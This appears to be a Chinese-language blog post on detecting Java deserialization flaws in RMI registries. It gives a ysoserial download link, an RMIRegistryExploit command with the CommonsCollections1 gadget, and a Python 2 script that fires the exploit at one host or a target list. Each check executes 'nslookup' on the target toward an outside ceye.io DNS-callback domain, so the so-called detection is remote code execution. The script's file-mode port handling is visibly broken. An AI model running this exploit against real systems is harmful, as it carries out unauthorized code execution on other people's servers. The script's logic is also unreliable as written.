java反序列化漏洞的检测

1、首先下载常用的工具ysoserial

这边提供下载地址：https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-gb617b7b-16/ysoserial-master-v0.0.5-gb617b7b-16.jar

2、使用方法：

 java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit a.b.c.d  CommonsCollections1 "nslookup *******.********.ceye.io"

3、写成poc如下

 #!/usr/bin/python
 # -*- coding:utf-8 -*-  

 import os
 import sys

 def check(host,port=1099,infile=None):
     if infile == None:
         cmd = 'java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit %s %s CommonsCollections1 "nslookup *.*.ceye.io"'%(host,port)
         response = os.popen(cmd)
         print response.read()
     else:
         with open(infile,"r") as fr:
             for target in fr.readlines():
                 target = target.split("\n")[0].split("\r")[0]
                 host = target.split(":")[0]
                 ip = target.split(":")[-1]
                 if ip.find("."):
                     ip = 1099
                 cmd = 'java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit %s %s CommonsCollections1 "nslookup *.*.ceye.io"'%(host,port)
                 response = os.popen(cmd)
                 print response.read()

 if __name__ == '__main__':
     parameter = sys.argv[1]
     if parameter.find(":") >0 :
         host = str(sys.argv[1]).split(":")[0]
         port = str(sys.argv[1]).split(":")[-1]
         if port.find(".") > 0:
             port = 1099
         infile = None
     else:
         infile = str(sys.argv[1])
         host = None
         port = None
     if host != None and host != "":
         if port != None and port != "":
             check(host=host,port=port)
         else:
             check(host=host)
     elif infile != None:
         print "[+] fileinputstart"
         check(host=None,port=1099,infile=infile)

效果如下图：